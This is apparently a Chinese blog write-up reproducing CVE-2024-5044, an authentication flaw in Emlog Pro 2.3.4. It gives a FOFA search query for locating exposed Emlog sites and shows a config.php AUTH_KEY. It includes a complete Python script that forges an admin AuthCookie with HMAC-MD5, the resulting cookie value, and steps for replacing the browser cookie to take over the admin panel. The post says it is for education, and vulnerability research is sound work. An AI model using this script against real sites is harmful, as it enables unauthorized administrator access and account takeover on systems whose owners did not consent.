【漏洞复现】Emlog Pro 2.3.4——任意用户登入、会话持久化(CVE-2024-5044)

声明:本文档或演示材料仅供教育和教学目的使用,任何个人或组织使用本文档中的信息进行非法活动,均与本文档的作者或发布者无关。

文章目录


漏洞描述

漏洞编号:CVE-2024-5044

漏洞成因:

  • Emlog Pro 2.3.4中依赖于cookie中的AuthCookie字段来判断用户是否登录,且字段的值对每个用户都是固定的,每次登录都使用相同的cookie值。

  • 在生成AuthCookie的过程中,唯一未知的变量Auth_Key具有默认值,该值写在配置文件中。如果这个值被知晓,就可以实现任意用户登录的漏洞。

漏洞危害:

  • 会话(AuthCookie)持久化:即使用户退出,AuthCookie仍然有效,可以重新播放后台管理界面的请求包来访问后台。

  • 任意用户登录:如果知道用户的用户名或邮箱,就可以生成该用户的AuthCookie,实现任意用户登录。

漏洞复现

1)信息收集

fofa:app="EMLOG"

信心这个东西,什么时候都像个高楼大厦,但是里面会长白蚁。

2)查看config.php

建议在本地复现,因为需要知道config.php内容。

emlog官网:https://www.emlog.net/

搭建好环境后,查看目录下config.php

python 复制代码
//Auth key
const AUTH_KEY = 'BR5DNBLH6vFyp3Z*Rj55(cTZ5uj68ZL!5f4591689f71924dbd1e95e47aec4ed7';
//Cookie name
const AUTH_COOKIE_NAME = 'EM_AUTHCOOKIE_p5VT8ugewNYfzKaj8lTKXLB8daxhnB4G';

3)然后使用脚本,生成管理员cookie

python 复制代码
import hmac
import hashlib

# 定义认证密钥,用于HMAC算法,确保认证信息的安全性
auth_key = "BR5DNBLH6vFyp3Z*Rj55(cTZ5uj68ZL!5f4591689f71924dbd1e95e47aec4ed7"

# 定义认证cookie的名称,用于在客户端存储认证信息
auth_cookie_name = "EM_AUTHCOOKIE_p5VT8ugewNYfzKaj8lTKXLB8daxhnB4G"

# 定义认证信息的过期时间,这里设置为0,表示永不过期
expiration = 0

# 定义当前操作的用户账号
user = "admin"

# 根据用户信息和过期时间生成用于认证的key
# 使用HMAC-MD5算法对用户信息和过期时间进行加密,生成初步的认证key
key = hmac.new(auth_key.encode(), "{}|{}".format(user, expiration).encode(), digestmod=hashlib.md5).hexdigest().encode()

# 使用上一步生成的key,再次对用户信息和过期时间进行加密
# 这里同样使用HMAC-MD5算法,生成最终的认证hash
auth_hash = hmac.new(key, "{}|{}".format(user, expiration).encode(), digestmod=hashlib.md5).hexdigest()

# 组装认证cookie的值,包括cookie名称、用户信息、过期时间和认证hash
# 这里的格式化字符串用于构建认证cookie的特定格式,方便后续的解析和验证
auth_cookie = "{}={}|{}|{}".format(auth_cookie_name, user, expiration, auth_hash)

print(auth_cookie)

管理员cookie为:

python 复制代码
EM_AUTHCOOKIE_p5VT8ugewNYfzKaj8lTKXLB8daxhnB4G=admin|0|37f0743009b46a952fa7daaf21f2e8f4

4)访问页面,替换cookie

5)刷新页面,即可获得管理员权限


兰有秀兮菊有芳,怀佳人兮不能忘。

相关推荐
RrEeSsEeTt5 天前
制作图片马常用的五种方法总结
web安全·网络安全·渗透测试·文件上传·木马·一句话木马
Sunset-_12 天前
[vulnhub] DarkHole: 1
web安全·网络安全·渗透测试
独行soc12 天前
#渗透测试#SRC漏洞挖掘# 操作系统-Linux系统基础02之Openssl、软连接与硬连接、用户账号数据库
linux·运维·服务器·面试·渗透测试
亿林数据14 天前
渗透测试专业名词解释
安全·web安全·网络安全·渗透测试
独行soc15 天前
#渗透测试#SRC漏洞挖掘#深入挖掘XSS漏洞02之测试流程
web安全·面试·渗透测试·xss·漏洞挖掘·1024程序员节
独行soc19 天前
#渗透测试#SRC漏洞挖掘#XSS跨站脚本介绍02绕过
程序人生·web安全·面试·渗透测试·1024程序员节
Sunset-_19 天前
[vulnhub]DC:7
web安全·网络安全·渗透测试
独行soc20 天前
#渗透测试#SRC漏洞挖掘# 信息收集-Shodan之搜索语法进阶
经验分享·学习·web安全·渗透测试·kali·shodan
网络安全工程师老王22 天前
从APP小游戏到Web漏洞的发现
网络安全·信息安全·渗透测试
我只会Traceroute23 天前
【渗透测试】01-信息收集-名词概念
网络·web安全·网络安全·渗透测试